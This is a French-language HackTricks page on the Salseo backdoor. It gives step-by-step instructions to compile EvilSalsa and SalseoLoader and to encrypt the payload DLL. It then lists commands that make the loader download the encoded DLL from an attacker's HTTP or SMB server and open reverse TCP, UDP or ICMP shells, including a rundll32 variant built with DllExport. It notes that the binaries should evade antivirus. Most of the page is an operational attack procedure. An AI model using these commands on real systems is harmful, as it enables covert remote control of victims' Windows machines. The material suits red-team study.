Salseo

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Compilation des binaires

Téléchargez le code source depuis GitHub et compilez EvilSalsa et SalseoLoader. Vous aurez besoin de Visual Studio installé pour compiler le code.

Compilez ces projets pour l'architecture de la machine Windows où vous allez les utiliser (si Windows prend en charge x64, compilez-les pour cette architecture).

Vous pouvez sélectionner l'architecture dans Visual Studio dans l'onglet "Build" à gauche dans "Platform Target".

(**Si vous ne trouvez pas ces options, cliquez sur "Project Tab" puis sur "<Nom du projet> Propriétés")

Ensuite, compilez les deux projets (Build -> Build Solution) (À l'intérieur des journaux, le chemin de l'exécutable apparaîtra) :

Préparer la porte dérobée

Tout d'abord, vous devrez encoder le EvilSalsa.dll. Pour ce faire, vous pouvez utiliser le script python encrypterassembly.py ou vous pouvez compiler le projet EncrypterAssembly :

Python

python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt

Windows

EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt

Maintenant, vous avez tout ce dont vous avez besoin pour exécuter tout le truc Salseo : le EvilDalsa.dll encodé et le binaire de SalseoLoader.

Téléchargez le binaire SalseoLoader.exe sur la machine. Ils ne devraient pas être détectés par un quelconque AV...

Exécuter la porte dérobée

Obtenir un shell TCP inversé (téléchargement du dll encodé via HTTP)

N'oubliez pas de démarrer un nc en tant qu'auditeur de shell inversé et un serveur HTTP pour servir le evilsalsa encodé.

SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>

Obtenir un shell inversé UDP (téléchargement du dll encodé via SMB)

N'oubliez pas de démarrer un nc en tant qu'écouteur de shell inversé, et un serveur SMB pour servir le evilsalsa encodé (impacket-smbserver).

SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>

Obtenir un shell inverse ICMP (dll encodée déjà présente sur la victime)

Cette fois, vous avez besoin d'un outil spécial sur le client pour recevoir le shell inverse. Téléchargez : https://github.com/inquisb/icmpsh

Désactiver les réponses ICMP :

sysctl -w net.ipv4.icmp_echo_ignore_all=1

#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0

Exécuter le client:

python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"

À l'intérieur de la victime, exécutons la chose salseo :

SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>

Compilation de SalseoLoader en tant que DLL exportant la fonction principale

Ouvrez le projet SalseoLoader à l'aide de Visual Studio.

Ajoutez avant la fonction principale: [DllExport]

Installez DllExport pour ce projet

Outils --> Gestionnaire de packages NuGet --> Gérer les packages NuGet pour la solution...

Recherchez le package DllExport (en utilisant l'onglet Parcourir), et appuyez sur Installer (et acceptez la fenêtre contextuelle)

Dans le dossier de votre projet sont apparus les fichiers: DllExport.bat et DllExport_Configure.bat

Désinstaller DllExport

Appuyez sur Désinstaller (oui, c'est bizarre mais faites-moi confiance, c'est nécessaire)

Quittez Visual Studio et exécutez DllExport_configure

Simplement quittez Visual Studio

Ensuite, allez dans votre dossier SalseoLoader et exécutez DllExport_Configure.bat

Sélectionnez x64 (si vous allez l'utiliser dans une boîte x64, c'était mon cas), sélectionnez System.Runtime.InteropServices (dans Espace de noms pour DllExport) et appuyez sur Appliquer

Ouvrez à nouveau le projet avec Visual Studio

[DllExport] ne devrait plus être marqué comme une erreur

Compilez la solution

Sélectionnez Type de sortie = Bibliothèque de classes (Projet --> Propriétés de SalseoLoader --> Application --> Type de sortie = Bibliothèque de classes)

Sélectionnez plateforme x64 (Projet --> Propriétés de SalseoLoader --> Générer --> Cible de la plateforme = x64)

Pour compiler la solution: Build --> Compiler la solution (À l'intérieur de la console de sortie, le chemin du nouveau DLL apparaîtra)

Testez le Dll généré

Copiez et collez le Dll où vous souhaitez le tester.

Exécutez:

rundll32.exe SalseoLoader.dll,main

Si aucune erreur n'apparaît, vous avez probablement une DLL fonctionnelle !!

Obtenir un shell en utilisant la DLL

N'oubliez pas d'utiliser un serveur HTTP et de définir un écouteur nc

Powershell

$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main

CMD

CMD

set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour